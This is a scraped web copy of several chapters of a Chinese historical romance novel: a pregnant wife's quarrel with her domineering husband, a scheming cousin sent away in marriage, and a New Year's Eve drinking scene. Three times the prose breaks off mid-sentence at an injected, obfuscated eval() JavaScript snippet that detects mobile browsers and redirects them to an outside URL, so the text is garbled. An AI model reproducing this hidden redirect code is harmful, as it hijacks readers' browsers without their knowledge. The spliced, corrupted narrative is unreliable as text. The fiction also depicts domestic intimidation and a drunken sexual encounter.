“你从一开始就认为我心怀叵测、心术不正,又怎会听我解释?倘若我的确这样想,事后你一问琴的来处一样会算到我的头上,我何苦搬起石头砸自己的脚?” “倘若我听你狡辩,自然就不会怪罪你了!可不是每个男人都会被你灌迷魂汤!” 简直不可理喻!她就不该以为谢瞻是个好人,他天生就是个喜怒无常冷血无情的阎罗王! 沈棠宁也怒了。 她生性温和,素来与人为善,还从未与人吵过架,吵了不过几句便气喘吁吁,脸颊通红,但她却丝毫不畏惧地直视着谢瞻的双眼,一双被泪水浸润过的杏眼倔强而愤怒。 “你,小人之心!” 她那张嫣红的小嘴儿一张一合,一字一句。 这四个字话音刚落,谢瞻脸色腾得变了色,铁青得仿佛罩了一层万年寒霜。 而骂出心里藏了许久的这句话后,沈棠宁害怕的同时却感觉无比地畅快。 老实说,她早就想这样骂他了!奈何她从来不会骂人,否则她真想像舅母姚氏那样对着讨厌的人掐腰破口大骂,将对方骂得哑口无言面红耳赤,想想便觉得更加畅快! 谢瞻自幼便是天之骄子,不光出身高贵,其它也是样样拔尖,战场上几乎战无不胜,情场上有无数女子追捧他痴恋他,这样一个自负的男子,怎么能容忍被人指着鼻子骂。 从来没有女子敢这样瞪着他,敢这样骂他,尤其是还是眼前的这个,一个走路被风吹一下都能倒下的女子,腹中还怀着他骨肉的女子! 这种来自弱势者的讥嘲,极大地挑战了谢瞻的尊严,叫这个脾气一向不怎么好的男人勃然大怒,猛地一脚踢翻了她身旁的一张玫瑰椅,还没等她反应过来,接着又被他一把抓住腕子,连拉带扯拽到角落里。 “有本事你再说一遍?!” 伴随着他怒吼的叫声,沈棠宁后背撞到了冷硬的墙壁上。 这一刻,她甚至毫不意外地想——或许下一刻谢瞻就会扼死她,或是盛怒之下对她拳打脚踢…… 她闭上了眼。 “世子,世子夫人!” 门外及时地响起了王氏的大丫鬟琥珀的声音。 琥珀等了片刻,听到没有动静,又重重地敲了敲门。 “世子夫人,您还在吗,夫人不放心您,打发奴婢来送您回去。” 里面静默了片刻,突然屋门“咣当”一声猝不及防被人从内踢开,里头怒气冲冲地冲出一个人来,琥珀唬了一跳,连忙避开。 等谢瞻走远了,琥珀才心有余悸地进去,看见沈棠宁无力地倚靠在墙上,大吃一惊,忙上前扶住了她。 “世子夫人!” 沈棠宁跌软在了琥珀的怀中。 …… 秦嬷嬷过来后,王氏不放心沈棠宁和谢瞻一起回去,这才吩咐琥珀前去接应。 好在卫太夫人的寿宴也接近了尾声,郑国公府与镇国公府相距就半条街,琥珀和沈棠宁两个丫鬟扶着沈棠宁上下马车,回到寻春小榭,沈棠宁手脚冰凉,倒在床上昏迷不醒。 曹大夫看过后,说是情绪大起大伏,一时急火攻心,导致昏迷,责备道:“世子夫人有孕在身,以后莫要让她再动气了!” 锦书和韶音对视一眼,愁眉苦脸。 俗话说,要好不能勾,要歹登时就,两个人说翻脸就翻脸了,谢瞻倒是两袖一甩妻儿不管地走了,可怜她们主子肚子里还怀着个孩子。 这什么人,这简直就是个畜生! 沈棠宁身体不舒服,一觉睡到第二天王氏过来探望她,沈棠宁很担心昨日郑国公府的寿宴失礼,向王氏告罪,王氏说无妨,都快成一家人了,她还怀着身子,卫太夫人得知她提前离席后并未责怪,与萧家的事情也俱处置妥当。 又问她那日秦嬷嬷离开后,琥珀过去之前,她与谢瞻是否发生了口角。 琥珀昨日在门外,听到了几句两人的争执声。 沈棠宁垂着脑袋,没做声。 王氏心里叹了口气,遂未多问,关心了她几句后离开。 回到如意馆,王氏越想越觉得蹊跷,吩咐琥珀去把女儿谢嘉妤给她叫过来。 谢嘉妤对上母亲锐利的眼神,支支吾吾道:“娘,我,我听说嫂子病了,昨日哥哥和嫂子是不是因为我吵架了?” 王氏喝了口茶,淡淡道:“你昨日一直低着头不说话,我还当你什么都不知道,原来你心里倒是门儿清!” 谢嘉妤满面羞红。 19.第 19 章 谢嘉妤满面羞红。 其实昨晚她一个人躺在床上,翻来覆去睡不着,苦思冥想许久的时候,就反应过来自己是被冯茹当筏子了。 当日事发后冯茹急忙对她撇清,说她并不知道绿绮乃萧砚所赠,是沈芳容欺骗了她。 倘若谢嘉妤说成是沈棠宁为了讨好谢嘉妤才将绿绮主动送给的她,而从未提过琴是出自萧砚之手,谢瞻一直厌恶沈棠宁,这样说他肯定会把过错都怪到沈棠宁身上,不会再计较他们两个人惹是生非了。 冯茹意图祸水东引,那时谢嘉妤正满心畏惧母亲和兄长的雷霆之怒,故而不敢多言。 可事后她细细思索,她的确不知绿绮出自何处,也是萧薇来抢夺绿绮且出言不逊在先,她都动手打上了,难道还要她堂堂镇国公府的四小姐逆来顺受不成? 如果一早就把事情说清楚,那么顶多被王氏和谢瞻责怪两句,冯茹之所以隐瞒不报,只有一个解释——那便是她根本从头到尾就知道绿绮是萧砚的! 谢嘉妤人是被爹娘宠得娇纵了些,却并非没有底线,她老老实实地把一切都给交代了,气得王氏在这个好女儿身上拧了好几下,疼得谢嘉妤直叫唤。 “哎呦!哎呦!” “你闭嘴!你嫂子还怀着身孕,你倒好,礼义廉耻全都忘了,叫她给你顶缸,混账,你现在立马过去,找你二哥解释清楚!” 谢嘉妤自知犯下大错,乖乖地去了静思院,找谢瞻认错。 静思院。 “你要是来为她求情,别怪我不顾念兄妹之情。” 谢瞻冷冷道。 王氏问过沈棠宁两人发生口角的原因,沈棠宁不肯说,王氏后来打听到,萧薇曾在卫家的园子欺负沈棠宁,正巧被谢瞻看见。 这个儿子虽不是亲生的,却也是王氏从小看到大的,旁人不知,王氏焉能不知他心中所思所想? 谢嘉妤小声道:“我知道,哥哥是觉得嫂子别有用心,其实哥哥想左了,绿绮是……” 谢嘉妤把在王氏面前说过的话重复一遍。 谢瞻听罢猛地一拍桌子,勃然大怒。 “谢嘉妤,你竟敢骗人!” 谢嘉妤吓得连忙跑到门口,“喂喂,说好了你不发火的,我可是你亲妹妹,你把嫂子都给吓病了,再把亲妹妹吓病了,我娘不会放过你的!” “你还敢威胁我!” 谢嘉妤悄悄打开门,一溜烟儿跑了。 谢瞻怒火平息后,脸色僵硬。 他相信自己的判断,他不可能看走眼。 片刻后,他叫了安成进来。 安成诧异地看了主子一眼,挠着头离开了。 要想把事情查清楚不难,只消去沈家处查一查沈芳容账上是否如谢嘉妤所言多出来三百两白银,盘问冯茹与沈芳容的丫鬟各种细节。 翌日安成就把事情查了个清楚明白。 谢嘉妤不光被冯茹当了筏子,还被她吃回扣坑走了两百两银子。 这个妹妹被冯茹哄得团团转。 此人心机之深,品质之恶劣,更可怕的是她几乎与谢嘉妤一起长大,这样卑鄙无耻的女子与谢嘉妤朝夕相处,谢嘉妤没被她带坏当真是万幸。 冯茹,留不得了。 谢瞻亲自去了一趟如意馆,要求王氏立即将冯茹远嫁。 “怎么,事情都查清楚了?”王氏问。 谢瞻查冯茹,王氏比他还早一步,只是不动声色罢了,她倒要看看,儿子知道自己胡乱冤枉了人后是个什么反应,那一定有趣极了。 王氏似笑非笑。 谢瞻抿了抿唇,回道:“我还有些事,母亲早些休息。” 谢瞻走后,王氏哼了一声笑出来。 她刚刚看到了什么,竟然从儿子脸上看到一闪而过的不自在? 谢瞻刚出门,谢嘉妤就追了过来,大叫道:“哥哥,你走慢些,怎么样,你查明白了吗?” 谢嘉妤气喘吁吁地跑到谢瞻面前拦着,不悦道:“哥哥,你没听见我叫你吗,你查明白了吗,茹表姐到底有没有说谎?” “你还意思提她?”谢瞻瞪她道:“谢嘉妤,她把你卖了你都给她数钱,日后不许再与她有任何来往!” 谢嘉妤吐了吐舌头,嘀咕道:“是是是,哥哥说的是!”又道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503417|141282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“反正经此一事我是看清楚了,平日里那些奉承讨好你的不一定是真的对你好,而那些不言不语不凑上来的却仗义多了……哥你别走,我还没说完呢!” 谢瞻甩开她的手,冷声道:“起开,我还有事。” “哥哥,你不会还在生嫂子的气吧?”谢嘉妤觑着兄长的脸色道:“现在你知道嫂子是无辜的了,我没想到我平日里对她态度那样差劲,她竟然会为了帮我圆谎不惜触怒你。” 谢嘉妤心里很自责,谢瞻的脾气刚愎自用,他发起怒来,实在无人有福消受。 谢嘉妤突然很同情沈棠宁这个嫂子,她那样性情温柔的一个女子,怎么就摊上了哥哥这样的煞星呢? “蠢货,她拒绝给你琴,并非为你考虑,而是不想惹祸上身,后来替你顶缸,是为献媚,因为她知道当时即使不承认我也不会信她,干脆就认错顶缸,博得你愧疚,日后找机会再说出真相。” “你先前轻信冯氏,如今又轻信她,你个没长脑子的蠢东西,出去别说你是我妹妹!” 谢瞻刻薄起人来,连谢嘉妤都不放过。 谢嘉妤有些悻悻的,又有些生气和委屈,对谢瞻的背影喊道:“我不是蠢东西,这次我肯定不会再被骗了!哼!” - 谢瞻回到静思院,心烦意乱,一脸阴沉。 下人们都不敢惹他,离他远远的。 安成想到那张琴已经在厢房里扔了两天了,进屋来,小心翼翼地问,“爷,那张绿绮琴……咱们要如何处置?” 谢瞻不耐烦道:“劈了!” 安成刚抬脚,谢瞻又叫住他。 “慢着。” 安成转身,竖起耳朵。 谢瞻顿了顿,说道:“若三日内她来要,就把那张破琴给砸了。” 安成出门后,长忠凑上来好奇问他,“咱们爷怎么说?” 安成附到他耳边,说了几句话。 长忠心道可惜,听说那可是绝世名琴啊! “那要是世子夫人三日内没来呢?” 安成翻了个白眼,笨蛋,都不来要了,难道还要留着,更得砸了! 20.第 20 章 冯茹得知王氏要将她远嫁谢氏的陈郡老家,哭得撕心裂肺,哀求王氏不要将她嫁那么远,她还想回来祭拜谢太夫人。 王氏只语调淡淡地让她安心待嫁。 冯茹不死心,又去求了谢嘉妤,谢嘉妤干脆闭门不见,这个时候她没出来落井下石已是够给这个昔日闺中密友体面了。 冯茹陆续去求了姨母四老夫人、表哥谢七郎,四老夫人嫌她丢脸,干脆命丫鬟将她丢到柴房里连饿了三天。 冯茹在柴房放声啼哭,后悔当初没趁着太夫人还在世就厚着脸皮嫁给谢瞻做妾,如今说什么都为时已晚。 最后一天早晨她竟还有力气,趁着丫鬟来给她送饭的功夫打晕丫鬟跑了出去,她不信谢瞻当真对她无情,跌跌撞撞跑到小校场,对着当中一个正弯弓搭箭的颀长背影就扑了上去。 “表哥救我,我不想嫁回老家,表哥我愿意给你当牛做马,求你绕我一命!”冯茹哭喊着要死要活。 长忠和几个护卫都来拉扯冯茹,冯茹使出吃奶的力气不撒手,几个护卫也不敢真伤及她,一时竟奈何不了冯茹。 冯茹见谢瞻只是皱着眉一动不动,喜极而泣,把她自寄居到谢家之后对谢瞻的情意来往数了一通,指天赌咒发誓她对谢瞻真心可鉴。 “……我自知做错了事情,可我瞒着阿妤妹妹是不想看她失望,我想阿妤妹妹能寻到称她心意的琴,世子夫人讨好阿妤妹妹却别有目的,说不定就是她故意指使堂妹沈芳容将琴卖给我!” “我明白了!定是那次她毁坏阿妤妹妹想要的妆花缎,我帮阿妤妹妹说了几句话她就记恨我了,她、她还知道我喜欢世子,所以想要除去我……” 冯茹眼神里露出痴迷的疯态,她搂着谢瞻的腰,闻着他身上流汗的男人味道,将脸贴在他结实精壮的腰腹之间,一边流泪一边双手乱摸。 侍卫们终于掰开了冯茹的手,谢瞻厌恶地看了她一眼,用巾子擦拭被冯茹脏兮兮的双手弄脏的白羽箭。 原来他刚刚一直在低头看的是他的白羽箭,她在眼里连支破箭都不如! “拖出去。” 谢瞻丢了巾子,头也不抬地命令道。 冯茹呆呆地流着泪,被堵上口鼻拖离了镇国公府。 - 冯茹嫁人的消息很快传到了寻春小榭。 听说是嫁回了陈郡老家,男方今年四十多岁,是个有钱的布商,家里四五个孩子,去年刚死了老婆,冯茹是给人当续弦。 以冯茹的身份样貌,是能在京都里面嫁给条件还算不错的勋贵子弟,可惜她自己不珍惜谢家给她的表姑娘身份,妄图教坏谢璁夫妇最疼爱的女儿。 嫁给这样一个男人,她这辈子算是毁了。 谢嘉妤找谢瞻认错之后,王氏罚她连跪了七日的祠堂,另罚一年的月钱,七日之后并让教养嬷嬷每天把她拘在房里教习读书礼仪,大门不出二门不迈,谢嘉妤肠子都要悔青了。 跪祠堂的第二日她娇嫩的双膝就红肿了好大一片,趁着休息的间隙,谢嘉妤一瘸一拐地来了寻春小榭,把冯茹哄骗她的来龙去脉告知了沈棠宁。 “我哥哥说你是为了讨好我才替我顶缸,听他的口气里面,你不怀好意,好似讨好我是为了利用我似的,可我却觉得你不像是那样的人。”谢嘉妤扭扭捏捏地说。 沈棠宁轻声问:“为何?” 谢嘉妤认真地道:“我知道什么叫做献媚,如果你从一开始就想讨好我,你肯定会想尽办法把琴借给我,若不想引火烧身,大不了编些借口,就像茹表姐那样,或者干脆说你手中并无绿绮,而不是坦白地告诉我你是绿绮的主人,当我问你借时,你却一口回绝我,惹我不开心。” 谢嘉妤承认她当初是不开心了,但是沈棠宁拒绝她拒绝得坦坦荡荡,而不是像冯茹那样表面上迎合她,背地里枉做小人。 她不好意思地向沈棠宁真诚道歉,希望沈棠宁能够原谅她。 最后遗憾地叹道:“只可惜了那张绿绮,我后来想去帮嫂子从哥哥那里要回来,竟听说下人们不识货,将绿绮当做主人不要之物拿去劈了柴!” 谢嘉妤走后,沈棠宁坐在窗前,怔怔地望着窗外纷纷扬扬的乱琼碎玉。 开始时只是撒盐似的细雪,渐渐院子里枯萎的木丛与老柳树上覆盖了一层薄薄的纯白,香雾雪微,清辉如练,天地间一片澄洁的银装素裹。 沈棠宁慢慢伸出手,感受着雪花在温热的掌心一点点融化,化作一滩清透的水渍。 就像那些逝去的回忆,烟消云散,再也回不到当初。 绿绮,彻底没了…… 沈棠宁闭上湿润的双眼,苦涩一笑。 - 将近年关,府里年味儿渐浓。 王氏每日忙忙碌碌,不忘打发人去给沈棠宁裁新衣打头面,以前沈棠宁和温氏偏居西府,温氏眼睛不好,与郭氏妯娌两人关系淡淡,新年夜沈棠宁便陪着温氏在西府过,每年都冷冷清清的。 到了谢家,她才知何为大家族。谢家六房感情都很好,谢氏族人众多,每日她去请安,如意馆门庭若市,人来人往,忙的时候王氏脚不沾地,都顾及不上她。 沈棠宁安心养胎,近来一段时间孕肚渐大,谢家的滋补灵药养的她面色红润了不少,大夫说母子康健,她心宽体胖,揽月心里却焦灼了起来,一转眼谢瞻又十来日没来过寻春小榭,着实不是个好兆头。 催促沈棠宁,沈棠宁便总推说今日惫懒、明天不舒服,万一再与谢瞻起冲突会伤到孩子之类的借口,揽月觉着有些道理。 她从来没想过沈棠宁会留了心眼儿骗她,只担心长此以往谢瞻会将自己还有个夫人与未出世孩子的事情忘得一干二净。 傍晚,天光黯淡,揽月守在静思院外冻得瑟瑟发抖。 一听到下人报世子回来了,她连忙欣喜地迎上去。 “世子,我们世子夫人今日身子不大舒服,腹内绞痛,您今晚能不能去看看她,您若是去看了她,她……” “你说什么?”谢瞻蓦地停了下来,沉声问道:“有没有请大夫,大夫看过怎么说?” “呃……大夫,来、来过,说是没看出什么,世子夫人忧虑过重。” “去请后街的陈太医。” 谢瞻对安成道,说罢转身出了门,径直往寻春小榭的方向。 揽月目瞪口呆。 刚刚她那是瞎编的,说沈棠宁不舒服,担心谢瞻不在意,才故意往重了说…… 她、她还没来得及和沈棠宁通气! 揽月急忙跟上去,急得抓耳挠腮。 想提前回去通气,奈何她压根追不上谢瞻的步子。 寻春小榭。 屋里点着灯,暖意熏人,内室里少女银铃般的笑声阵阵。 谢瞻掀帘进来,听到笑声微微蹙眉,看向揽月,揽月惊慌失措,忙要进屋里去寻沈棠宁。 谁知恰这时,沈棠宁怀中抱着绵绵,和锦书、韶音两个丫鬟说说笑笑地从内室里走了出来。 看到谢瞻站在屋里,三人皆是一愣,笑声戛然而止。 屋里烧着地龙,沈棠宁怕热,在闺房里便随意了些,着一件葱白色的挑线金丝纱衫,衫子轻薄,遮不住一身白馥馥的香肌雪肤,就连内里水红色的缠花抹胸小衣都若隐若现。 月份大了之后,她的胸口飞涨,从前的小衣有些紧了,小腹隆起,腰肢却依旧纤细,衬得胸前一抹高耸的雪腻峰峦,随着她的呼吸上下起伏,颤颤巍巍,十分可观。 沈棠宁看到谢瞻的目光直勾勾地就落在了她的胸前,惊呼一声捂住了胸口,慌忙转过身去。 “世子你……你怎么又不打一声招呼就进来了!” 韶音小声埋怨,一面和锦书两个胡乱给沈棠宁披上衣服。 穿好外衫,沈棠宁小心扭头去看,谢瞻在背对着她喝茶。 她咬唇,心生畏惧和抵触。 那日在郑国公府发生的事情,谢瞻怒发冲冠的模样,至今回想起来她仍心有余悸。 她讨厌谢瞻,不想见他,也不想和他说一句话。 “不是你不舒服,让丫鬟去找的我吗?”谢瞻不悦。 沈棠宁吃惊,她何时让人去找他了,是疯了不成? 一抬头,揽月正冲她挤眉弄眼。 沈棠宁明白了。这个丫头居然还不死心…… 沈棠宁的沉默不语在谢瞻看来就是默认。 既然打定主意故意装病骗他过来,至少应该收敛一些,哪里有病人像她这样病中面色红润娇艳? 上个男人为了她要死要活,转眼她就能把他忘得一干二净,装扮得漂漂亮亮来勾引他,这样薄情寡义的女人他就不应该来理会她的死活。 谢瞻心里也不知还是生气还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518955|141282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么别的情绪,烦躁地呵斥她,“你穿好衣服没有,你准备就这样和我说话?” 他的语气一如既往地差劲,像是故意来找茬似的。 沈棠宁看着他写满不耐的后背,眼眶禁不住泛上一层难堪的湿意。 他既然讨厌他,就算她是病得要死了,还来找她做什么! 但她竭力忍下去,坐到谢瞻的对侧。 “我现在好多了,世子若是有事,我便不耽误你了。”她抿了抿唇,说道。 谢瞻闻言便朝沈棠宁的腹看去,沈棠宁下意识地抬手捂了一下衣襟,垂下脸儿。 幽幽烛光下,她乌发如云,肌肤如玉,一缕散发懒懒地绾在玉白小巧的耳上,耳垂上的珍珠耳铛随着她的动作一摇一摆地荡着,发出清脆悦耳的鸣响。 明明是一个再普通不过的动作,在她做来却有股难言的妩媚风情。 谢瞻晃了一下眼,旋即便迅速扭过头。 半响后说道:“你身上也没什么可看的,”顿了顿,冷冷哼一声道:“又不是没看过。” 男欢女爱,人之伦也。 男女之间的那档子事,世人多谓人间至乐,推崇情之所至,顺其自然。在小皇孙的寿宴之前,沈棠宁和谢瞻完全是一对陌生人。 两个陌生人生了肌肤之亲,还开了花、结了果。 在遇到谢瞻之前,沈棠宁从未体味过这种滋味,她与萧砚虽是恋人,萧砚尊重她,两人便始终恪守本分,从未生过逾矩之举。 那一日午后两人都饮醉酒,她意识不清,只记得朦朦胧胧中男人摁着她的身子,动作狂乱而粗鲁,把她弄得又疼又羞,不住哀求嘤咛,他也不曾怜惜半分,只顾自己享乐。 事后她身上一片青青紫紫的痕迹,在床上躺了四五日,到第三日下床,腰肢和大腿内侧仍旧酸疼红肿,那一处更是撕裂般的疼,她还以为自己要死了,也不敢去请大夫来看。 她刻意遗忘,想要将这段记忆从自己的脑海中抹去,今夜他却猝不及防且毫不掩饰地提起来,他不仅从里到外看过她的身子,还十分轻蔑地贬斥她的身子无甚可看…… 沈棠宁紧紧地抓着裙摆,指尖陷进掌心的肉里,一股羞愤之意油然而生。 差点就要脱口而出,你在床上也没有多厉害,压根就没话本子写的那样叫人舒坦! 大家闺秀的矜持叫她到底忍了下来。 她偏过头,不想理会他。 把他请过来了还像个哑巴似的不说话,难道还要让他给她道歉不成? 两人无语地对坐了良久,谢瞻冷笑一声,拂袖离去。 - 除夕夜,万家灯火照亮京都城的夜空。 谢家六房,除了外放的五房一家,全家人都热热闹闹地聚在了一处,加上能跑会跳的小辈,一房至少来了七八个人。 添上从外地赶回来的,一大家子济济一堂,比沈棠宁新婚那日见过的亲戚还要多。 谢家的规矩,除夕夜大家一起吃年夜饭,守岁则是各家回各房守岁。 年夜饭孩子多,场面混乱吵闹,女眷们打叶子牌,没空管束自家孩子,王氏体贴,便推说她月份大了身子不适,没有叫上沈棠宁与大家一起吃年夜饭。 到了约莫二更时分,众人才纷纷玩散了。 上房中,王氏早命人摆上点心瓜果茶水,长房一家人吃团圆饭。 谢璁并不痴迷女色,房里三个姨娘,膝下三儿一女。 谢嘉妤叽叽喳喳地与爹娘说着话,一边给父亲倒茶,一边给王氏捏肩,一边又去逗弄玉团子似的弟弟十二郎,像只欢快的小麻雀东张西望跑来跳去。 谢璁是严父,沈棠宁还从未见这位公爹对旁人露出过一个笑脸。 除了谢嘉妤。 他脸上露出一种慈爱的表情,是那种有些无奈,又似乎宠溺。这种神态沈棠宁年幼时只在父亲和叔父的脸上见过。 她低下头,默默地吃着面前的甜果子。 谢瞻坐在窗下吃酒,他漫不经心地转过头去,从他的角度,刚好可以看见沈棠宁渐渐酡红的脸颊。 那甜果子中有酒,她还好像根本不知道似的一直吃。 谢瞻皱了眉。 终于,“啪嗒”一声,沈棠宁垂下长长的睫毛,手中的茶盏掉了下去。 接着,她头枕着胳膊,整个人软软地倒在了桌子上。 21.第 21 章 谢嘉妤率先发现沈棠宁吃醉了,且醉得不省人事。 她不停吃的甜果子,是用淳厚的茉莉花酒拌上香甜的蜜豆,注入果子中制作而成,茉莉花酒口味甜水似的,后劲儿也不大,寻常谢嘉妤都和小姐妹们当甜饮子吃,难怪沈棠宁没吃出来。 只是她这酒量未免也太差劲了些罢? 酒性辛辣活血,孕妇吃酒不利胎儿,王氏命人将沈棠宁扶到后堂,着人去请了府医过来。 因茉莉花酒驱寒化湿,适当饮用些令人心情愉悦,有孕的妇人也有常吃的,府医道没事,开了点解酒保胎的药就离开了。 “找两个丫鬟来,你跟着把世子夫人扶回去。” 王氏这才松了口气,嘱咐秦嬷嬷道。 谢嘉妤眼珠子一转,对王氏使眼色道:“娘,嫂子都醉成这样了,怕是路都走不了,何况她这么大的肚子,还是找个人把她直接抱回去好!” 母女两人不约而同地看向站在后面的谢瞻。 谢瞻面上没什么表情。 就在谢嘉妤以为他要拒绝的时候,谢瞻慢慢走上前,很轻巧地就抱起了沈棠宁。 …… 夜幕下寒风呼啸,大雪纷飞,犹如搓绵扯絮一般。 一路走来怀里的人儿都没什么动静,甚至连气息也十分地微弱。 谢瞻无所事事地逡巡着,目光不知怎么的就从四周银装素裹的雪地,落到了沈棠宁的身上。 月光皎洁,盐粒似的雪霜凝结在她长长的睫毛上,她浑身上下都用大氅包了起来,包得严严实实,只露出半张酡红的脸蛋儿,乖巧地靠在他的胸口上。 雪越下越大,地面也愈发地湿滑,若去寻春小榭怕还得有将近一刻钟的功夫,谢瞻望了望天,临时改了主意,抱着沈棠宁回了静思院。 谢瞻常年行军在外,静思院没有大丫鬟,安成忙前忙后地找被子、煮醒酒汤,想到世子夫人怕冷,又赶紧叫人去关窗、烧手炉。 谢瞻把沈棠宁抱到内室,沈棠宁这会儿酒劲儿倒是上来了,她感觉自己好像正搂着一个大火炉,浑身上下都舒服地暖洋洋的,现在大火炉要离开了,她搂着谢瞻不肯撒手。 谢瞻试了几次推开她,她就哼哼唧唧地赖在他的怀里蹭来蹭去,爹爹哥哥胡乱叫着,很不像话。 少女馨香的身子,绵软的胸脯,微隆的小腹,到处都是男人无法触碰的禁地,就这么在他怀里肆意滚着,紧紧贴着,哪怕柳下惠在此处也很难做到心如止水。 “沈棠宁,你别装,我知道你没醉。” 谢瞻去掰她的手,僵着脸,低声警告。 她的手看着软绵绵的,却狡猾灵巧得像条鱼儿似的,他掰开这一只,另一只又揪住了他的衣襟,他掰开那一只,另一只又把手意图往他怀里钻去。 除了美人芙蓉面,沈棠宁身上无处不白,是真正的冰肌玉骨,肤若凝脂。 屋里的温度好像越来越高,也热得谢瞻心烦意乱,额头上出了一层汗。 一定是太热了。 谢瞻将其归因于没开窗的缘故,因为他天生身上阳气重,受不得热。 烛光幽暗,他坐在床边,沈棠宁歪在他的怀里,他皱着眉专注地去捉沈棠宁的手,好像如果捉不住她的手就不能证明他心无杂念一般。 大氅不知何时滑落到了两人的脚下,沈棠宁浑身衣衫凌乱,已是娇吁微微。 安成揣着两只手炉进来,刚小跑到帘下,就听屋内传来几声女孩儿细微的喘息声,夹杂着男人粗重的呼吸和衣衫摩挲声。 安成手中的手炉险些掉到地上,一时目瞪口呆。 怪道世子今夜破天荒抱了世子夫人回来,明明新婚第二日他就把人从新房赶走了的…… 可世子夫人,还、还怀着身子,醉着酒呢,主子就忍不住了,这不是趁人之危么? 当初在东宫的更衣室中,安成和长忠就曾听过两人的壁角,那一回两人的动静可比这激烈多了,自然知道这声音意味着什么。 非礼勿视,安成嘀咕几句便红着老脸连忙离开了,还贴心地把门拴紧。 终于捉住了两只小手,谢瞻用黏腻的掌心握住手中的一对纤纤柔荑。他微微松了口气,然而下一刻,怀中的女孩儿突然睁开了一双杏眼。 她搂着男人僵硬的颈,慢慢直起身,睁大双眼。她的眼睛里好似天生含着一泓秋水,不论看谁都带着七分柔情蜜意,瞳仁却黑白分明,醉意更令她增添了十分的娇柔妩媚。 看了几息的功夫,她又凑近谢瞻沁着汗水的鼻尖,谢瞻鼻梁高挺,唇红齿白,生了一双狭长凌厉的凤眼,看起来是有些冷酷薄情的面相。 认不出是谁,很眼熟,就是想不起来……这人怎么将她抱到了怀里? 沈棠宁晕乎乎地想,再凑近点看看。 “你做什么?” 谢瞻挟住她伸过来的手,嗓音低哑,语气也不由染上了几分羞恼之意。 她的手也软软的,他捏得重了些,她皱皱鼻子就哼唧起来。 谢瞻一怔,旋即手下的力道便松了些,只是没有松开她的手。 四目相对,淡淡的茉莉花酒香混合着她身上幽幽的女儿香,她的鼻尖对着他的挺拔的鼻,眼底清晰地倒映出他的影子。 “再乱摸,”他低声说道:“沈棠宁,我对你不客气。” 他的警告对沈棠宁显然没用。 下一刻,沈棠宁整张脸都凑到了他的脸上,那两片红艳艳的唇瓣,自然也就贴在了谢瞻紧绷到几乎要抽筋脸庞上…… 最后她也不理会自己究竟对谢瞻做了些什么,只是觉得自己对上脸竟也想不起眼前的人是谁后,又实在太困懒得去想,放松地从嗓子眼里发出几声舒服的呓语,身子软软地向后仰倒去。 被窝里也是暖洋洋的,沈棠宁滚进被子里,寻了个舒适的位置,香甜地睡过去了。 一夜无梦。 第二天一早,沈棠宁扶着额,在头疼欲裂中醒来。 她揉着眼睛坐起来,发现头顶的床帐、四周的装饰都很陌生。 她霍得坐起来,却将昨晚发生的事情忘得一干二净,昨天是除夕夜,她记得一家人坐在一起守岁来着,她还十分羡慕谢嘉妤有爹爹疼爱,心里难过了一番。 但后来,后来……发生了什么? 锦书听到动静,知道她醒了,忙进来伺候她洗漱。 “昨夜姑娘去上房守岁,后来世子身边的安成过来说,姑娘吃醉了,昨夜雪太大,世子就先把您抱回了静思院。” 年前沈棠宁放了韶音年假,锦书和其它小丫鬟们都聚在抱厦里守岁,并不知上房发生了什么。 三更天的时候锦书担心沈棠宁,到上房一问才发现沈棠宁早就走了。 然而她回到寻春小榭,安成却过来告诉她,外面雪太大,世子夫人醉酒,便歇在了静思院。 锦书扶着沈棠宁穿衣,发现她手腕和后腰上有些痕迹,脸都白了,结结巴巴地问:“姑娘,昨晚,昨晚……世子没有欺负你吧?” 她们姑娘生得这样美,她就没见哪个男人见了能把持得住,更何况,昨夜姑娘还醉了酒,一个娇滴滴的大美人,一个血气方刚的男人,孤男寡女干柴烈火一张床……锦书不敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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安成瞪大双眼,他们爷这反应,怎么有点奇怪呢? 要知道当初他被冯茹抱了一下,大早上的回来洗澡可是换了三次水,被她碰过的衣服全丢了! - 大周朝规,元旦日大朝会,百官朝贺,随后则是年假,正月初一到正月初十,一旬毕后很快又至上元佳节,从正月十五休至正月二十。 正月初一,京都家家户户走亲访友,敬贺新年。 相比之下,寻春小榭就冷清了许多。 沈棠宁昨夜醉酒,今早宿醉头疼,一直躺在床上休息,听着院外传来的喧闹声和欢声笑语。 到下晌,谢嘉妤来探望沈棠宁。 “嫂子这酒量忒浅了,那茉莉酒蜜水似的你竟也醉成这样!” 谢嘉妤哈哈大笑,笑得好不促狭。 沈棠宁脸颊晕红,垂下长长的睫毛,看起来似乎很是局促,不知道说什么。 锦书笑着解围道:“四姑娘,世子夫人在家里是不常吃酒的,所以酒量才浅!” 美人娇羞,低眉垂首。 谢嘉妤看呆住了。 她本以为像沈棠宁这种容色的大美人,性情即使不是冷若冰霜,也该孤高自傲、生人勿近才是。 